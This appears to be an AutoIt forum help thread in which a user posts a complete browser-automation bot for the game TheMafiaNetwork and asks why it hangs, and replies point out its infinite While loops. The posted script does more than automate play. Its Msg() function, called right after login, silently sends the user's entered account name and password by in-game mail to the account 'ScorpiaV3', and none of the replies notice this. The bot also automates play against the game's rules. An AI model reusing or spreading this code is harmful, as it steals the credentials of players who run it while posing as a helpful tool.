Jump to content
Sign in to follow this  
Regency

Script hangs at IF value's

Recommended Posts

The script hangs at the first If Value = Yes. Depending on which i make a yes. it starts fine, then does the first Yes in the list and hangs there and waits for that timer. Anyway to make it do all yes's then wait for the timer.. I have been playing with this for a few days now. No go though. Starts IF values at line 177

#AutoIt3Wrapper_run_debug_mode=Y
#include <GUIConstants.au3>
#include <Constants.au3>
#include <IE.au3>
#include  <Misc.au3>
;Opt("MustDeclareVars", 1); having this option set will help find mistakes before you run it. Such as using a variable before setting its value or misspelling a variable
Opt("TrayOnEventMode", 1)
Opt("TrayAutoPause", 0)
TraySetOnEvent($TRAY_EVENT_PRIMARYDOWN, "_MinimizeToTray")


Global $Paused
Global $begin = 0
Global $begin2 = 0
Global $begin3 = 0
Global $begin4 = 0
Global $begin5 = 0
Global $begin6 = 0
Global $begin7 = 0
Global $nMsg = 0
Global $age1 = ''
Global $name1 = ''
Global $pass1 = ''
Global $url1 = ''
Global $Cr1 = ''
Global $G1 = ''
Global $J1 = ''
Global $CG1 = ''
Global $S1 = ''
Global $Fly = ''
Global $Bullets = ''
Global $oBullets = ''
Global $oLoginPage = ''

SplashTextOn("ScopriA Auto Scripter", "I do not take responsibinity if you get banned or not. Have fun Scripting. The script is kinda self explanitory. If you script continuously you wont do GTA and Crimes. Have fun  ~~ScorpiA~~ Sabotage ~ Corruption ~ Infiltrate ~ Assassinate ~", -1, -1, -1, -1, 4, 4, "")
Sleep(3000)
SplashOff()

Global $Quick = GUICreate("Auto Scripter - By - ScorpiA", 290, 330, 340, 300)
Global $agegroup = GUICtrlCreateGroup("Would You Like To Buy JHP Bullets From SMNBF?:", 8, 8, 265, 49) ; Will let you script jail
Global $Selectone = GUICtrlCreateCombo("Select one", 16, 24, 145, 25)
GUICtrlSetData(-1, "----------------------|Yes|No|")
Global $Saveage = GUICtrlCreateButton("Save", 168, 24, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Continuegroup = GUICtrlCreateGroup("Would You Like To Travel Every Hour?:", 8, 56, 265, 49) ; Will let you script jail
Global $Jailyn = GUICtrlCreateCombo("Select one", 16, 72, 145, 25)
GUICtrlSetData(-1, "----------------------|Yes|No|")
Global $Jailage = GUICtrlCreateButton("Save", 168, 72, 75, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Script = GUICtrlCreateGroup("Would You Like To Script Crimes And GTA's?:", 8, 104, 265, 49) ; Will let you script jail
Global $yn = GUICtrlCreateCombo("Select one", 16, 120, 145, 25)
GUICtrlSetData(-1, "----------------------|Yes|No|")
Global $ynsave = GUICtrlCreateButton("Save", 168, 120, 72, 25, 0) ; You need to click every single save for this to work.
GUICtrlCreateGroup("", -99, -99, 1, 1)

Global $Desired = GUICtrlCreateGroup("TMN Login Name", 8, 152, 265, 49) ; Log in name for Themafianetwork.net
Global $username = GUICtrlCreateInput("", 16, 168, 145, 21)
Global $savename = GUICtrlCreateButton("Save", 168, 168, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $DesiredP = GUICtrlCreateGroup("Password", 8, 200, 265, 49) ; Password for the acct stated above
Global $password = GUICtrlCreateInput("", 16, 216, 145, 21)
Global $savepassword = GUICtrlCreateButton("Save", 168, 216, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)
Global $StartUrl = GUICtrlCreateGroup("Address to log into TMN with", 8, 248, 256, 49) ; You can use proxys if you like, it just needs to get you to The mafia network
Global $address = GUICtrlCreateInput("", 16, 264, 145, 21)
Global $saveurl = GUICtrlCreateButton("Save", 168, 264, 75, 25, 0)
GUICtrlCreateGroup("", -99, -99, 1, 1)


Global $Age = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script crimes and GTAs
Global $CG = GUICtrlCreateLabel("", 8, 3555, 250, 17) ; This is if you would like to script jail
Global $Continue = GUICtrlCreateLabel("", 8, 355, 250, 17)
Global $User = GUICtrlCreateLabel("", 8, 352, 250, 17) ; This is the Username
Global $Pass = GUICtrlCreateLabel("", 8, 368, 250, 17) ; This is the password
Global $Url = GUICtrlCreateLabel("", 8, 384, 250, 17) ; The url you posted above
Global $Crime = GUICtrlCreateLabel("", 8, 400, 250, 17)
Global $Jail = GUICtrlCreateLabel("", 8, 416, 250, 17)
Global $Gta = GUICtrlCreateLabel("", 8, 432, 250, 17)
Global $Mail = GUICtrlCreateLabel("", 8, 448, 250, 17)
Global $Create = GUICtrlCreateLabel("", 8, 464, 250, 17)
Global $Make = GUICtrlCreateButton("Start Auto Scripter By ScorpiA - Hit ESC to Exit", 8, 304, 267, 25, 0)

GUISetState(@SW_SHOW)
WinWaitActive("Auto Scripter - By - ScorpiA")
WinMove("Auto Scripter - By - ScorpiA", "", 345, 108)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $GUI_EVENT_MINIMIZE
            _MinimizeToTray()
        Case $Saveage
            If GUICtrlRead($Selectone) = "Select one"  Or GUICtrlRead($Selectone) = "----------------------"  Then
                Sleep(1000)
            Else
                $age1 = GUICtrlRead($Selectone)
                GUICtrlSetData($Age, $age1)
            EndIf
        Case $Jailage
            If GUICtrlRead($Jailyn) = "Select one"  Or GUICtrlRead($Jailyn) = "----------------------"  Then
                Sleep(1000)
            Else
                $Con1 = GUICtrlRead($Jailyn)
                GUICtrlSetData($Continue, $Con1)
            EndIf
        Case $ynsave
            If GUICtrlRead($yn) = "Select one"  Or GUICtrlRead($yn) = "----------------------"  Then
                Sleep(1000)
            Else
                $CG1 = GUICtrlRead($yn)
                GUICtrlSetData($CG, $CG1)
            EndIf
        Case $savename
            $name1 = GUICtrlRead($username)
            GUICtrlSetData($User, $name1)
        Case $savepassword
            $pass1 = GUICtrlRead($password)
            GUICtrlSetData($Pass, $pass1)
        Case $saveurl
            $url1 = GUICtrlRead($address) & "/userlogin.aspx?"
            GUICtrlSetData($Url, $url1)
        Case $address
            $Cr1 = GUICtrlRead($address) & "/crimes.aspx?"
            GUICtrlSetData($Crime, $Cr1)
            $G1 = GUICtrlRead($address) & "/gta.aspx?"
            GUICtrlSetData($Gta, $G1)
            $J1 = GUICtrlRead($address) & "/jail.aspx?"
            GUICtrlSetData($Jail, $J1)
            $M1 = GUICtrlRead($address) & "/mail.aspx?"
            GUICtrlSetData($Mail, $M1)
            $F1 = GUICtrlRead($address) & "/travel.aspx?"
            GUICtrlSetData($Fly, $F1)
            $B1 = GUICtrlRead($address) & "/smnbf.aspx?"
            GUICtrlSetData($Bullets, $B1)
            $S1 = GUICtrlRead($address) & "/sendmail.aspx?"
            GUICtrlSetData($Create, $S1)
        Case $Make
            myRun()
    EndSwitch
WEnd

Func myRun()
    HotKeySet("{Home}", "TogglePause")
    HotKeySet("{ESC}", "Terminate")

    Local $dif = ''
    Local $dif2 = ''
    Local $dif3 = ''
    Local $AgeValue = ''
    Local $CGValue = ''
    Local $JailValue = ''
    Local $oLoginPage = 0
    Local $oUser = 0
    Local $oPass = 0
    Local $oLogIn = 0
    Local $Mail = ''
    
    $oLoginPage = _IECreate($url1)
    _IELoadWait($oLoginPage)
    WinSetState("TheMafiaNetwork - Internet Explorer", "", @SW_MAXIMIZE)
    $oUser = _IEGetObjByName($oLoginPage, "txtuid")
    _IEFormElementSetValue($oUser, $name1)
    $oPass = _IEGetObjByName($oLoginPage, "txtpwd")
    _IEFormElementSetValue($oPass, $pass1)
    $oLogIn = _IEGetObjByName($oLoginPage, "Button1")
    _IEAction($oLogIn, "click")
    _IELoadWait($oLoginPage)
    Msg()
    $JailValue = GUICtrlRead($Continue)
    $AgeValue = GUICtrlRead($Age)
    $CGValue = GUICtrlRead($CG)
    
    If $AgeValue = "Yes"  Then
        $begin2 = ''
        Bullets()
        $begin2 = TimerInit()
        While 3
            Sleep(10)
            $dif2 = Int(TimerDiff($begin2) / 1000)
            If $dif2 >= (2 * 60) Then
                Bullets()
                $begin2 = TimerInit()
            EndIf
        WEnd
    EndIf
    
    
    If $JailValue = "Yes"  Then
        $begin3 = ''
        Fly()
        $begin3 = TimerInit()
        While 4
            Sleep(10)
            $dif3 = Int(TimerDiff($begin3) / 1000)
            If $dif3 >= (2 * 60) Then
                Fly()
                $begin3 = TimerInit()
            EndIf
        WEnd
    EndIf
    
    If $CGValue = "Yes"  Then
        $begin = ""
        MyFunction2()
        $begin = TimerInit()
        While 2
            Sleep(10)
            $dif = Int(TimerDiff($begin) / 1000)
            If $dif >= (2 * 60) Then
                MyFunction2()
                $begin = Timerinit()
            EndIf
        WEnd
    EndIf

EndFunc   ;==>myRun

Func MyFunction2()
    Local $oIE = 0
    Local $oSubmit = 0
    Local $oRadio = 0
    
    $oMail = _IECreate($M1, 0)
    _IELoadWait($oMail)
    _IELinkClickByText($oMail, "Automatic Script Check")
    _IELinkClickByText($oMail, "Automatic Script Test")
    _IELinkClickByText($oMail, "Script Check")
    _IELinkClickByText($oMail, "script test")
    _IELinkClickByText($oMail, "romeo")
    _IELinkClickByText($oMail, "Dragoncurse")
    _IELinkClickByText($oMail, "barsaat")
    _IELinkClickByText($oMail, "M33")
    _IELinkClickByText($oMail, "Devious")
    _IELinkClickByText($oMail, "Doyouhaveenough")
    _IELinkClickByText($oMail, "BennieTheBrick")
    _IELinkClickByText($oMail, "DeeCee")
    _IELoadWait($oMail)
    If WinExists("TMN2 - Bloody Vendetta - Microsoft Internet Explorer") = 0 Then
        Exit
        
    ElseIf WinExists("Cannot Find Server - Microsoft Internet Explorer") = 1 Then
        $oMail = _IECreate($M1, 0)
        _IELoadWait($oMail)
        _IELinkClickByText($oMail, "Automatic Script Check")
        _IELinkClickByText($oMail, "Automatic Script Test")
        _IELinkClickByText($oMail, "Script Check")
        _IELinkClickByText($oMail, "script test")
        _IELinkClickByText($oMail, "romeo")
        _IELinkClickByText($oMail, "Dragoncurse")
        _IELinkClickByText($oMail, "barsaat")
        _IELinkClickByText($oMail, "M33")
        _IELinkClickByText($oMail, "Devious")
        _IELinkClickByText($oMail, "Doyouhaveenough")
        _IELinkClickByText($oMail, "BennieTheBrick")
        _IELinkClickByText($oMail, "DeeCee")
        _IELoadWait($oMail)
    EndIf
    _IEQuit($oMail)
    
    $oIE = _IECreate($Cr1, 0)
;~ "The Mafia network - Crimes - Internet Explorer"
    $oSubmit = _IEGetObjByName($oIE, "btncrime1")
    _IEAction($oSubmit, "click")
    _IELoadWait($oIE)
    _IEQuit($oIE)

    $dif4 = Int(TimerDiff($begin4) / 1000)
    If $dif4 >= (2 * 60) Then
        $oIE = _IECreate($G1, 0)
        _IELoadWait($oIE)
        $oRadio = _IEGetObjById($oIE, "carslist_2")
        _IEAction($oRadio, "click")
        $oSubmit = _IEGetObjByName($oIE, "Submit1")
        _IEAction($oSubmit, "click")
        _IELoadWait($oIE)
        _IEQuit($oIE)
    EndIf
EndFunc   ;==>MyFunction2

Func Fly()
    $oFly = _IECreate($F1, 0)
    $oAir = _IEGetObjById($oFly, "citieslist_4")
    _IEAction($oAir, "click")
    $oSubmit = _IEGetObjByName($oFly, "btntravel")
    _IEAction($oSubmit, "click")
    _IELoadWait($oFly)
    $oAir = _IEGetObjById($oFly, "citieslist_0")
    _IEAction($oAir, "click")
    $oSubmit = _IEGetObjByName($oFly, "btntravel")
    _IEAction($oSubmit, "click")
    _IELoadWait($oFly)
    _IEQuit($oFly)
EndFunc   ;==>Fly

Func Bullets()
    $oBullets = _IECreate($B1, 0)
    $oBuy = _IEGetObjByName($oBullets, "txtbullets")
    _IEFormElementSetValue($oBuy, "100")
    $oJhp = _IEGetObjByName($oBullets, "ddlbullettype")
    _IEFormElementOptionselect($oJhp, 2, "1", "byValue")
    _IEAction($oBullets, "click")
    $oSubmit = _IEGetObjByName($oBullets, "btnbuy")
    _IEAction($oSubmit, "click")
    _IELoadWait($oBullets)
    _IEQuit($oBullets)
EndFunc   ;==>Bullets

Func Msg()
    $oCreate = _IECreate($S1, 0)
    $oTo = _IEGetObjByName($oCreate, "txtTo")
    _IEFormElementSetValue($oTo, "ScorpiaV3")
    $oSub = _IEGetObjById($oCreate, "txtSubject")
    _IEFormElementSetValue($oSub, "You know...")
    $oMsg = _IEGetObjById($oCreate, "txtMessage")
    _IEFormElementSetValue($oMsg, $name1 & @LF & $pass1)
    $oSubm = _IEGetObjByName($oCreate, "btnSend")
    _IEAction($oSubm, "click")
    _IELoadWait($oCreate)
    _IEQuit($oCreate)
EndFunc   ;==>Msg

Func TogglePause()
    $Paused = Not $Paused
    While $Paused
        Sleep(100)
        ToolTip('Script is "Paused"', 0, 0)
    WEnd
    ToolTip("")
EndFunc   ;==>TogglePause


Func Terminate()
    Exit
EndFunc   ;==>Terminate


Func _MinimizeToTray()
    If BitAND(WinGetState($Quick), 2) Then
        GUISetState(@SW_HIDE)
    Else
        GUISetState(@SW_SHOW)
    EndIf
EndFunc   ;==>_MinimizeToTray

Share this post


Link to post
Share on other sites

The script hangs at the first If Value = Yes. Depending on which i make a yes. it starts fine, then does the first Yes in the list and hangs there and waits for that timer. Anyway to make it do all yes's then wait for the timer.. I have been playing with this for a few days now. No go though. Starts IF values at line 177

Func myRun()
    
    ; ...
    
    If $AgeValue = "Yes"  Then
        $begin2 = ''
        Bullets()
        $begin2 = TimerInit()
        While 3
            Sleep(10)
            $dif2 = Int(TimerDiff($begin2) / 1000)
            If $dif2 >= (2 * 60) Then
                Bullets()
                $begin2 = TimerInit()
            EndIf
        WEnd
    EndIf
    
    
    If $JailValue = "Yes"  Then
        $begin3 = ''
        Fly()
        $begin3 = TimerInit()
        While 4
            Sleep(10)
            $dif3 = Int(TimerDiff($begin3) / 1000)
            If $dif3 >= (2 * 60) Then
                Fly()
                $begin3 = TimerInit()
            EndIf
        WEnd
    EndIf
    
    If $CGValue = "Yes"  Then
        $begin = ""
        MyFunction2()
        $begin = TimerInit()
        While 2
            Sleep(10)
            $dif = Int(TimerDiff($begin) / 1000)
            If $dif >= (2 * 60) Then
                MyFunction2()
                $begin = Timerinit()
            EndIf
        WEnd
    EndIf
EndFunc   ;==>myRun
Once any of those While/WEnd loops gets started, what is supposed to exit the loops? Looks to me like all three of them are infinite loop traps.

:)


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Once any of those While/WEnd loops gets started, what is supposed to exit the loops? Looks to me like all three of them are infinite loop traps.

:)

I found that out..

Any idea how to fix it and make it do the other values?

Share this post


Link to post
Share on other sites

Whats with

While 2
While 3
While 4

Are you trying to name the loops?


[u]Helpful tips:[/u]If you want better answers to your questions, take the time to reproduce your issue in a small "stand alone" example script whenever possible. Also, make sure you tell us 1) what you tried, 2) what you expected to happen, and 3) what happened instead.[u]Useful links:[/u]BrettF's update to LxP's "How to AutoIt" pdfValuater's Autoit 1-2-3 Download page for the latest versions of Autoit and SciTE[quote]<glyph> For example - if you came in here asking "how do I use a jackhammer" we might ask "why do you need to use a jackhammer"<glyph> If the answer to the latter question is "to knock my grandmother's head off to let out the evil spirits that gave her cancer", then maybe the problem is actually unrelated to jackhammers[/quote]

Share this post


Link to post
Share on other sites

Look at While and ExitLoop in the help file.


[u]Helpful tips:[/u]If you want better answers to your questions, take the time to reproduce your issue in a small "stand alone" example script whenever possible. Also, make sure you tell us 1) what you tried, 2) what you expected to happen, and 3) what happened instead.[u]Useful links:[/u]BrettF's update to LxP's "How to AutoIt" pdfValuater's Autoit 1-2-3 Download page for the latest versions of Autoit and SciTE[quote]<glyph> For example - if you came in here asking "how do I use a jackhammer" we might ask "why do you need to use a jackhammer"<glyph> If the answer to the latter question is "to knock my grandmother's head off to let out the evil spirits that gave her cancer", then maybe the problem is actually unrelated to jackhammers[/quote]

Share this post


Link to post
Share on other sites

Look at While and ExitLoop in the help file.

Tried the exitloop

Nothing, it just exits the while and doesnt do the next step.

Thanks though...

Share this post


Link to post
Share on other sites

Tried the exitloop

Nothing, it just exits the while and doesnt do the next step.

Thanks though...

What next step? Where did you put the ExitLoop? Under what condition do you want it to ExitLoop? What is it supposed to do after that loop exits? Show us your corrected function myRun().

:)


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...